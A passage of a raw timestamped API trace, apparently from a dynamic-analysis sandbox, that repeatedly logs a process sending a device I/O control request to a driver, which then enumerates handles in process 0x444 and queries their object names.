(Object=0xfffffa800206b070) returned 0x11 [0104.493] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.493] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.493] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.493] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.493] PsAcquireProcessExitSynchronization () returned 0x0 [0104.493] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.493] ObReferenceObjectByHandle (in: Handle=0x4dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a28d00, HandleInformation=0x0) returned 0x0 [0104.493] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.493] PsReleaseProcessExitSynchronization () returned 0x2 [0104.493] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.493] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.493] ObfDereferenceObject (Object=0xfffffa8001a28d00) returned 0x1 [0104.493] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.493] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.493] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.493] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.493] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.493] PsAcquireProcessExitSynchronization () returned 0x0 [0104.493] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.493] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035185e0, HandleInformation=0x0) returned 0x0 [0104.493] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.493] PsReleaseProcessExitSynchronization () returned 0x2 [0104.493] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.493] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.493] ObfDereferenceObject (Object=0xfffffa80035185e0) returned 0x1 [0104.493] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.494] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.494] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0104.494] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.494] PsAcquireProcessExitSynchronization () returned 0x0 [0104.494] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.494] ObReferenceObjectByHandle (in: Handle=0x5a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0104.494] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.494] PsReleaseProcessExitSynchronization () returned 0x2 [0104.494] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.494] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.494] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xa [0104.494] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.494] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.494] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0104.494] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.494] PsAcquireProcessExitSynchronization () returned 0x0 [0104.494] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.494] ObReferenceObjectByHandle (in: Handle=0x5e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0104.494] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.494] PsReleaseProcessExitSynchronization () returned 0x2 [0104.494] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.494] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.494] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0104.494] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.494] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.494] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.494] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0104.494] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.494] PsAcquireProcessExitSynchronization () returned 0x0 [0104.494] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.495] ObReferenceObjectByHandle (in: Handle=0x5fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003532dd0, HandleInformation=0x0) returned 0x0 [0104.495] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.495] PsReleaseProcessExitSynchronization () returned 0x2 [0104.495] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.495] ObQueryNameString (in: Object=0xfffffa8003532dd0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.495] ObfDereferenceObject (Object=0xfffffa8003532dd0) returned 0x11 [0104.495] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.495] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.495] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0104.495] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.495] PsAcquireProcessExitSynchronization () returned 0x0 [0104.495] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.495] ObReferenceObjectByHandle (in: Handle=0x610, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800354bf20, HandleInformation=0x0) returned 0x0 [0104.495] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.495] PsReleaseProcessExitSynchronization () returned 0x2 [0104.495] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.495] ObQueryNameString (in: Object=0xfffffa800354bf20, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.495] ObfDereferenceObject (Object=0xfffffa800354bf20) returned 0x11 [0104.495] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.495] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.495] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.495] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0104.495] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.495] PsAcquireProcessExitSynchronization () returned 0x0 [0104.495] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.495] ObReferenceObjectByHandle (in: Handle=0x614, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032b7610, HandleInformation=0x0) returned 0x0 [0104.495] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.495] PsReleaseProcessExitSynchronization () returned 0x2 [0104.495] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.496] ObQueryNameString (in: Object=0xfffffa80032b7610, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.496] ObfDereferenceObject (Object=0xfffffa80032b7610) returned 0x1 [0104.496] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.496] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.496] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.496] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.496] PsAcquireProcessExitSynchronization () returned 0x0 [0104.496] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.496] ObReferenceObjectByHandle (in: Handle=0x62c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001b1e840, HandleInformation=0x0) returned 0x0 [0104.496] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.496] PsReleaseProcessExitSynchronization () returned 0x2 [0104.496] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.496] ObQueryNameString (in: Object=0xfffff8a001b1e840, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.496] ObfDereferenceObject (Object=0xfffff8a001b1e840) returned 0x2 [0104.496] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.496] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.496] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.496] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0104.496] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.496] PsAcquireProcessExitSynchronization () returned 0x0 [0104.496] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.496] ObReferenceObjectByHandle (in: Handle=0x66c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80035a59d0, HandleInformation=0x0) returned 0x0 [0104.496] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.496] PsReleaseProcessExitSynchronization () returned 0x2 [0104.496] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.496] ObQueryNameString (in: Object=0xfffffa80035a59d0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.496] ObfDereferenceObject (Object=0xfffffa80035a59d0) returned 0x10 [0104.496] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.497] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.497] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.497] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.497] PsAcquireProcessExitSynchronization () returned 0x0 [0104.497] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.497] ObReferenceObjectByHandle (in: Handle=0x67c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003570070, HandleInformation=0x0) returned 0x0 [0104.497] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.497] PsReleaseProcessExitSynchronization () returned 0x2 [0104.497] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.497] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.497] ObfDereferenceObject (Object=0xfffffa8003570070) returned 0x1 [0104.497] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.497] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.497] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.497] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0104.497] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.497] PsAcquireProcessExitSynchronization () returned 0x0 [0104.497] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.497] ObReferenceObjectByHandle (in: Handle=0x694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003586f20, HandleInformation=0x0) returned 0x0 [0104.497] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.497] PsReleaseProcessExitSynchronization () returned 0x2 [0104.497] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.497] ObQueryNameString (in: Object=0xfffffa8003586f20, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.497] ObfDereferenceObject (Object=0xfffffa8003586f20) returned 0x1 [0104.497] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.497] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.497] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x128, lpOverlapped=0x0) returned 1 [0104.498] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.498] PsAcquireProcessExitSynchronization () returned 0x0 [0104.498] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.498] ObReferenceObjectByHandle (in: Handle=0x6e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00207bc00, HandleInformation=0x0) returned 0x0 [0104.498] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.498] PsReleaseProcessExitSynchronization () returned 0x2 [0104.498] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.498] ObQueryNameString (in: Object=0xfffff8a00207bc00, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.498] ObfDereferenceObject (Object=0xfffff8a00207bc00) returned 0x2 [0104.498] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.498] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.498] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0104.498] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.498] PsAcquireProcessExitSynchronization () returned 0x0 [0104.498] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.498] ObReferenceObjectByHandle (in: Handle=0x6f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002092c20, HandleInformation=0x0) returned 0x0 [0104.498] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.498] PsReleaseProcessExitSynchronization () returned 0x2 [0104.498] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.498] ObQueryNameString (in: Object=0xfffff8a002092c20, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.498] ObfDereferenceObject (Object=0xfffff8a002092c20) returned 0x2 [0104.498] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.498] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.498] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.498] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x138, lpOverlapped=0x0) returned 1 [0104.498] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.498] PsAcquireProcessExitSynchronization () returned 0x0 [0104.498] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.498] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0020ff7e0, HandleInformation=0x0) returned 0x0 [0104.498] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.499] PsReleaseProcessExitSynchronization () returned 0x2 [0104.499] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.499] ObQueryNameString (in: Object=0xfffff8a0020ff7e0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.499] ObfDereferenceObject (Object=0xfffff8a0020ff7e0) returned 0x2 [0104.499] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.499] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.499] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd6, lpOverlapped=0x0) returned 1 [0104.499] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.499] PsAcquireProcessExitSynchronization () returned 0x0 [0104.499] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff88004f095d0) [0104.499] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800209cd00, HandleInformation=0x0) returned 0x0 [0104.499] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.499] PsReleaseProcessExitSynchronization () returned 0x2 [0104.499] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x192 [0104.499] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.499] ObfDereferenceObject (Object=0xfffffa800209cd00) returned 0x11 [0104.499] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.499] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.499] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.499] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xea, lpOverlapped=0x0) returned 1 [0104.499] 